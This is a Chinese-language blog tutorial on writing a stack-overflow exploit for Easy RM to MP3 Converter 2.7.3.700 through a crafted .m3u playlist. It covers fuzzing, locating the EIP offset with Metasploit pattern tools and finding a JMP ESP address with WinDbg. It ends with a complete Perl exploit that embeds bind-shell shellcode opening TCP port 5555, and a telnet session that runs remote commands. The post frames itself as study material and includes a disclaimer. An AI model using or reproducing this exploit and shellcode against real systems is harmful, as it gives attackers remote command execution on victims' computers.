现在的位置: 首页 > 综合 > 正文

基于栈溢出的EXPLOIT编写

2017年12月03日 ⁄ 综合 ⁄ 共 13260字 ⁄ 字号 评论关闭

声明:以下涉及的内容只作为学习的目的,任何因为滥用本篇内容而导致对个人或者企业组织造成危害,作者并不承担任何责任。

◆ 目标软件

Easy RM to MP3 Converter(版本2.7.3.700)

辅助工具

WinDbg6.12、Metasploit3.4.1、ActivePerl5.12

漏洞描述

通过创建一个恶意的.m3u文件将触发Easy RM to MP3 Converter (version 2.7.3.700)缓冲区溢出利用。

测试平台

Windows XP SP3 中文版(5.1.2600 Service Pack 3 Build 2600)

利用步骤

a) 下载并安装Easy RM to MP3 Converter(版本2.7.3.700

地址:http://www.rm-to-mp3.net/download.html

b) 创建一个特殊的.m3u文件,验证目标软件加载它时确实崩溃了

    #文件: crash.pl 
    #编译: perl crash.pl 
    #说明: 生成一个具有10000个字符A的crash.m3u文件 
    my $file = "crash.m3u"; # 要生成的文件名 
    my $data = "/x41" x 10000; # 10000个A 
     
    open ($FILE , ">$file"); 
    print $FILE "$data" ; # 将10000个A输出到crash.m3u 
    close ($FILE); 
     
    print "/nm3u file created successfully/n"; 

打开Easy RM to MP3 Converter,加载具有10000个字符A的crash.m3u无效文件,我们发现目标软件捕获了该错误,跳出友好提示:

clip_image002

clip_image004

接着,我们更改crash.pl源代码,使其输出20000个A试试,一样的结果。很好,换30000个……,目标软件崩溃了:

clip_image005

也就是说目标软件在20000和30000之间可以崩溃掉。同时,从上图可以看出程序的EIP也可以被我们填充成一个指向恶意代码的地址。(很明显,EIP 0x41414141是crash.m3u中的数据)。

c) 确定缓冲区大小并精确的填写EIP

从前面得知返回地址(EIP的值)在缓冲区开始位置的20000和30000字节之间。首先,我们采用二分法缩小查找范围,用25000个A和5000个B进行确认:

    #文件: crash.pl 
    #编译: perl crash.pl 
    #说明: 生成一个具有25000个字符A和5000个字符B的crash.m3u文件 
    my $file = "crash.m3u"; # 要生成的文件名 
    my $dataA = "/x41" x 25000; # 25000个A 
    my $dataB = "/x42" x 5000; # 5000个B 
    open ($FILE , ">$file");
     
    print $FILE "$dataA" , "$dataB" ; # 将25000个A和5000个B输出到crash.m3u 
    close ($FILE);
     
    print "/nm3u file created successfully/n"; 

    clip_image006

    从上图得知返回地址(EIP的值)在缓冲区开始位置的25000和30000字节之间。接着,我们采用Metasploit工具精确定位:

    1、 利用pattern_create.rb(/Metasploit/Framework3/msf3/tools/目录下)创建一个包含5000个字符的模型。

    clip_image008

    2、 将生成的5000个字符替换上一个crash.pl文件中的5000个B字符:

      #文件: crash.pl 
      #编译: perl crash.pl 
      #说明: 生成一个具有25000个字符A和5000个模型字符的crash.m3u文件 
      my $file = "crash.m3u"; # 要生成的文件名 
      my $dataA = "/x41" x 25000; # 25000个A 
      my $dataB = "填充入由pattern_create.rb生成的5000个字符"; # 5000个字符 
      open ($FILE , ">$file");
       
      print $FILE "$dataA" , "$dataB" ; # 将25000个A和模型字符输出到crash.m3u 
      close ($FILE);
       
      print "/nm3u file created successfully/n"; 

      3、 运行目标软件,加载新生成的.m3u文件。程序崩溃,记录下崩溃地址:

      clip_image009

      4、 利用pattern_offset.rb(/Metasploit/Framework3/msf3/tools/目录下)计算当前EIP基于模型的偏移,输入EIP值(0x306c4239)和模型缓冲区大小(5000),得出偏移为:1109。因此我们得知总缓冲区大小为25000+1109:

      clip_image011

      所以我们可以创建一个包含26109个字符A和4个字符B的.m3u文件,目标软件重新加载.m3u文件,EIP应该会被重写为0x42424242。

        #文件: crash.pl 
        #编译: perl crash.pl 
        #说明: 生成一个具有26109个字符A和4个字符B的crash.m3u文件 
        my $file = "crash.m3u"; # 要生成的文件名 
        my $dataA = "/x41" x 26109; # 26109个A 
        my $dataB = "/x42" x 4; # 4个B 
        open ($FILE , ">$file");
         
        print $FILE "$dataA" , "$dataB" ; # 将26109个A和4个B输出到crash.m3u 
        close ($FILE);
         
        print "/nm3u file created successfully/n"; 

        clip_image013

        d) 寻找存放shellcode的地址空间。

        根据函数调用的堆栈平衡原理,缓冲区溢出之后,ESP应该停留在函数(这里假设为:XXCopy)调用之前所在位置上。也就是说,覆盖完EIP之后继续填充的数据都将保存在ESP所指地址中。

        image

        1、 为了验证以上分析,我们将WinDBG注册为即时调试器进行观察:

        cmd > windbg -I

        同时设置注册表键值,让即时调试器遇到异常时能够提示手动加载,而非自动加载:

        HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AeDebug下的Auto值设置为0

        2、 重新编写.m3u文件,观察ESP中的存储数据:

          #文件: crash.pl
          #编译: perl crash.pl
          #说明: 将32个字符C存放到ESP所指空间中
           
          my $file = "crash.m3u"; # 要生成的文件名
          my $dataA = "/x41" x 26109; # 26109个A
          my $EIP = "/x42" x 4; # 4个B
          my $dataC = "/x43" x 32; # 32个C
           
          open ($FILE , ">$file");
          print $FILE "$dataA" , "$EIP" ,"$dataC" ; # 输出到crash.m3u
          close ($FILE);
           
          print "/nm3u file created successfully/n";
           

        加载运行,报异常,调试之,输入db esp命令查看数据:

        clip_image017

        从上图我们发现,ESP位置只有28个字符C,少了4个。因此可以得出 溢出函数 在执行完毕时还对一个 函数入参 执行了退栈操作(也就是执行了指令:RET 4)。

        3、 最终我们确定了shellcode的存放位置:

        #文件: crash.pl
        #编译: perl crash.pl
        #说明: 将8个字符X的shellcode存放到ESP所指空间中
         
        my $file = "crash.m3u"; # 要生成的文件名
        my $dataA = "/x41" x 26109; # 26109个A
        my $EIP = "/x42" x 4; # 4个B
        my $preShellcode = "/x43" x 4; # 4个C
        my $shellcode = "/x58" x 8; # 8个X,代表shellcode可存放于此
         
        open ($FILE , ">$file");
        print $FILE "$dataA" , "$EIP" ,"$preShellcode" ,"$shellcode"; 
        close ($FILE);
         
        print "/nm3u file created successfully/n";
         

        clip_image019

        Shellcode存放的起始地址为0x000ff730,也就是ESP的当前值。我们不能直接将这个地址值填充给Perl代码中的$EIP,因为它包含了字符串终止字符0x00,会导致.m3u文件中的$preShellcode及$shellcode数据无法被 目标软件(Easy RM to MP3 Converter 读取。

        e) 寻找可跳转到SHELLCODE的指令地址。

        这里除了直接地址0x000ff730外,我们还可以在内存中查找JMP ESP的指令地址来填充$EIP的值。

        1、 运行Easy RM to MP3 Converter,打开WINDBG附加之。我们可以看到已经被目标程序加载的所有DLL,这里我们关注 目标软件(Easy RM to MP3 Converter附带的某个DLL(非系统DLL)。

        clip_image021

        2、 获取JMP ESP指令值,并在MSRMCcodec02.dll中搜索。

        • 采用WINDBG的a命令编写JMP ESP,再通过u命令得到JMP ESP汇编码,如下:

        clip_image023

        采用WINDBG的s 命令在MSRMCcodec02.dll中搜索指令JMP ESP (ff e4),得到如下:

        clip_image024

        我们随意取一个地址,比如0x01eeb22a。注意,地址值不能包含字符串终止字符0x00。

        f) 改写$EIP、$shellcode生成真正意义上的Exploit,开启远程后门。

        下面的shellcode是网上找的,网址在最后的参考资料一栏中有提供,这里不保证它在所有的平台上的测试都有效。不同的平台,大家可以搜索相应的shellcode或自行编写。

        #文件: crash.pl
        #编译: perl crash.pl
        #说明: 将真实的shellcode(引用Oh Yaw Theng的代码)写到.m3u文件中
         
        my $file = "crash.m3u"; # 要生成的文件名
        my $dataA = "/x41" x 26109; # 26109个A
        my $EIP = pack('V',0x01eeb22a); # JMP ESP in MSRMCcodec02.dll
        my $preShellcode = "/x43" x 4; # 4个C
         
        # Date: 4 / 8 / 2010
        # Author: Oh Yaw Theng
        # Software Link: http://www.exploit-db.com/application/10642/
        # Version: 2.7.3.700
        # Tested on: Windows XP SP 1
        # CVE : N / A
        # Bind a shell at TCP Port 5555 (Telnet to this port after exploiting target)
         
        my $shellcode= "/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x4f/x49/x49/x49/x49/x49" .
        "/x49/x51/x5a/x56/x54/x58/x36/x33/x30/x56/x58/x34/x41/x30/x42/x36" .
        "/x48/x48/x30/x42/x33/x30/x42/x43/x56/x58/x32/x42/x44/x42/x48/x34" .
        "/x41/x32/x41/x44/x30/x41/x44/x54/x42/x44/x51/x42/x30/x41/x44/x41" .
        "/x56/x58/x34/x5a/x38/x42/x44/x4a/x4f/x4d/x4e/x4f/x4c/x46/x4b/x4e" .
        "/x4d/x54/x4a/x4e/x49/x4f/x4f/x4f/x4f/x4f/x4f/x4f/x42/x36/x4b/x48" .
        "/x4e/x36/x46/x32/x46/x32/x4b/x48/x45/x34/x4e/x43/x4b/x58/x4e/x37" .
        "/x45/x50/x4a/x47/x41/x30/x4f/x4e/x4b/x58/x4f/x44/x4a/x51/x4b/x58" .
        "/x4f/x45/x42/x42/x41/x30/x4b/x4e/x49/x54/x4b/x38/x46/x43/x4b/x58" .
        "/x41/x50/x50/x4e/x41/x43/x42/x4c/x49/x49/x4e/x4a/x46/x58/x42/x4c" .
        "/x46/x37/x47/x30/x41/x4c/x4c/x4c/x4d/x50/x41/x50/x44/x4c/x4b/x4e" .
        "/x46/x4f/x4b/x43/x46/x45/x46/x32/x4a/x42/x45/x37/x45/x4e/x4b/x58" .
        "/x4f/x35/x46/x42/x41/x30/x4b/x4e/x48/x36/x4b/x48/x4e/x50/x4b/x54" .
        "/x4b/x38/x4f/x45/x4e/x31/x41/x50/x4b/x4e/x43/x30/x4e/x52/x4b/x38" .
        "/x49/x38/x4e/x46/x46/x32/x4e/x41/x41/x36/x43/x4c/x41/x43/x4b/x4d" .
        "/x46/x46/x4b/x48/x43/x54/x42/x43/x4b/x48/x42/x54/x4e/x50/x4b/x48" .
        "/x42/x37/x4e/x31/x4d/x4a/x4b/x38/x42/x34/x4a/x30/x50/x45/x4a/x46" .
        "/x50/x58/x50/x54/x50/x50/x4e/x4e/x42/x35/x4f/x4f/x48/x4d/x48/x46" .
        "/x43/x35/x48/x36/x4a/x46/x43/x33/x44/x53/x4a/x46/x47/x47/x43/x47" .
        "/x44/x53/x4f/x35/x46/x45/x4f/x4f/x42/x4d/x4a/x46/x4b/x4c/x4d/x4e" .
        "/x4e/x4f/x4b/x33/x42/x45/x4f/x4f/x48/x4d/x4f/x55/x49/x48/x45/x4e" .
        "/x48/x36/x41/x58/x4d/x4e/x4a/x30/x44/x50/x45/x35/x4c/x56/x44/x30" .
        "/x4f/x4f/x42/x4d/x4a/x56/x49/x4d/x49/x50/x45/x4f/x4d/x4a/x47/x45" .
        "/x4f/x4f/x48/x4d/x43/x35/x43/x35/x43/x55/x43/x45/x43/x35/x43/x54" .
        "/x43/x35/x43/x34/x43/x35/x4f/x4f/x42/x4d/x48/x36/x4a/x36/x45/x31" .
        "/x43/x4b/x48/x56/x43/x35/x49/x38/x41/x4e/x45/x39/x4a/x46/x46/x4a" .
        "/x4c/x51/x42/x57/x47/x4c/x47/x35/x4f/x4f/x48/x4d/x4c/x46/x42/x41" .
        "/x41/x55/x45/x35/x4f/x4f/x42/x4d/x4a/x36/x46/x4a/x4d/x4a/x50/x52" .
        "/x49/x4e/x47/x55/x4f/x4f/x48/x4d/x43/x55/x45/x55/x4f/x4f/x42/x4d" .
        "/x4a/x46/x45/x4e/x49/x44/x48/x58/x49/x44/x47/x55/x4f/x4f/x48/x4d" .
        "/x42/x45/x46/x35/x46/x45/x45/x45/x4f/x4f/x42/x4d/x43/x49/x4a/x36" .
        "/x47/x4e/x49/x47/x48/x4c/x49/x57/x47/x35/x4f/x4f/x48/x4d/x45/x55" .
        "/x4f/x4f/x42/x4d/x48/x46/x4c/x46/x46/x46/x48/x36/x4a/x36/x43/x56" .
        "/x4d/x36/x49/x48/x45/x4e/x4c/x56/x42/x45/x49/x55/x49/x52/x4e/x4c" .
        "/x49/x38/x47/x4e/x4c/x36/x46/x44/x49/x38/x44/x4e/x41/x33/x42/x4c" .
        "/x43/x4f/x4c/x4a/x50/x4f/x44/x44/x4d/x42/x50/x4f/x44/x54/x4e/x32" .
        "/x43/x49/x4d/x48/x4c/x47/x4a/x43/x4b/x4a/x4b/x4a/x4b/x4a/x4a/x36" .
        "/x44/x57/x50/x4f/x43/x4b/x48/x51/x4f/x4f/x45/x37/x46/x54/x4f/x4f" .
        "/x48/x4d/x4b/x45/x47/x45/x44/x55/x41/x35/x41/x45/x41/x35/x4c/x56" .
        "/x41/x30/x41/x35/x41/x35/x45/x45/x41/x55/x4f/x4f/x42/x4d/x4a/x46" .
        "/x4d/x4a/x49/x4d/x45/x50/x50/x4c/x43/x45/x4f/x4f/x48/x4d/x4c/x46" .
        "/x4f/x4f/x4f/x4f/x47/x53/x4f/x4f/x42/x4d/x4b/x48/x47/x35/x4e/x4f" .
        "/x43/x38/x46/x4c/x46/x36/x4f/x4f/x48/x4d/x44/x35/x4f/x4f/x42/x4d" .
        "/x4a/x36/x42/x4f/x4c/x48/x46/x30/x4f/x35/x43/x35/x4f/x4f/x48/x4d" .
        "/x4f/x4f/x42/x4d/x5a";
         
        my $exploit = "$dataA" . "$EIP" . "$preShellcode" . "$shellcode";
         
        open ($FILE , ">$file");
        print $FILE "$exploit "; 
        close ($FILE);
         
        print "/nm3u file created successfully/n";
         

        g) 测试

        1、 打开Easy RM to MP3 Converter,加载有问题的.m3u文件

        clip_image026

        2、 打开命令行,输入telnet 127.0.0.1 5555 连接到目标机器

        clip_image028

        3、 连接成功,使用DIR等等WINDOWS命令执行远程操作。

        clip_image030

        参考资料

        抱歉!评论已关闭.